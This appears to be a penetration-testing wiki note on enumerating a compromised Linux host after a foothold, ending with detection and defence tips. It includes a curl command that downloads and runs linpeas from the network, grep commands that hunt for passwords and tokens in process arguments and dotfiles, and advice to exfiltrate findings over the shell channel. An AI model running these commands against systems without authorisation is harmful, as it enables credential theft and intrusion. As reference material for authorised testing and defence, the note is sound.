Linux host enumeration
TL;DR: After a foothold, run an automated scanner like
linpeasfor breadth, then manually triage the high-signal areas it can miss — credentials in process args, mount options, capabilities, custom suid binaries.
What it is
Post-foothold enumeration is the systematic collection of facts about a Linux host that turn into privilege escalation, lateral movement, or persistence. The goal is to be exhaustive but quiet — read-only operations, no compiler invocations, no network noise unless explicitly authorised.
Preconditions / where it applies
- An interactive or semi-interactive shell as a non-root user
- Ability to upload a small static binary (or use built-ins only when you can’t)
- A scratch dir that is on a non-noexec mount — usually
/dev/shm,/tmp, sometimes/var/tmp
Technique
Step 1 — system fingerprint:
1
2
3
4
uname -a; cat /etc/os-release; cat /proc/version
hostnamectl 2>/dev/null
id; groups; sudo -l 2>/dev/null
mount; df -hT
Step 2 — automated scanners (in order of preference):
linpeas.sh— broadest checks, colour-coded by impact, ~10s on most hostslinux-smart-enumeration(lse) — quieter, level-tunable outputlinux-exploit-suggester— kernel-CVE focusedpspy— passiveprocfsmonitor for cron, transient roots, leaked args
1
2
3
# Fetch into tmpfs (avoid noexec)
curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o /dev/shm/p.sh
chmod +x /dev/shm/p.sh && /dev/shm/p.sh -a | tee /dev/shm/p.out
Step 3 — the high-signal manual checks linpeas can miss:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# Credentials in process arguments
ps auxwwf | grep -iE 'pass|pwd|token|key|secret'
# Listening services (root daemons reachable on localhost)
ss -tlnp 2>/dev/null; ss -tlnpu 2>/dev/null
# Capabilities
getcap -r / 2>/dev/null
# Setuid / setgid (including unusual paths)
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
# Writable files in suspicious places
find / -writable -not -path '/proc/*' -not -path '/sys/*' 2>/dev/null | head -50
# Cron and timers
cat /etc/crontab /etc/cron.d/* 2>/dev/null
systemctl list-timers --all
# Mounts (NFS, fuse, bind, noexec/nosuid)
cat /proc/mounts
cat /etc/fstab
# Network neighbours (lateral)
ip -4 a; ip route; arp -an 2>/dev/null
cat /etc/hosts ~/.ssh/known_hosts 2>/dev/null
# Dotfiles, history, config leftovers
ls -la ~ /home/* /root 2>/dev/null
grep -RIn -e 'password' -e 'token' -e 'api_key' ~/. /opt /var/www 2>/dev/null
# Containers
cat /proc/1/cgroup; ls -la /var/run/docker.sock /run/containerd 2>/dev/null
Step 4 — record then act. Save scanner output and your own findings to /dev/shm, exfil with tar | base64 over the shell channel. Build an exploitation hypothesis ranked by likelihood and impact before firing anything that writes to disk or kernel.
Detection and defence
- EDR/auditd should flag
linpeas-pattern bulk reads (find / -perm, masscat /proc/*/status) - Watch
/dev/shmand/tmpfor new executables; mount withnoexec,nosuidwhere workload permits - Process-arg secrets are the easiest win — move to env files / secret managers, audit with
auditdproctitle - Shell-history forwarding (
PROMPT_COMMANDshipping to syslog) catches the manual phase
References
- HackTricks — Linux Privilege Escalation Checklist — comprehensive triage list
- PEASS-ng / linpeas — the de-facto scanner
- pspy — passive process snooper for cron/secret args
Related: linux-privesc-vectors, cron-jobs, suid-sgid-binaries, capabilities-privesc.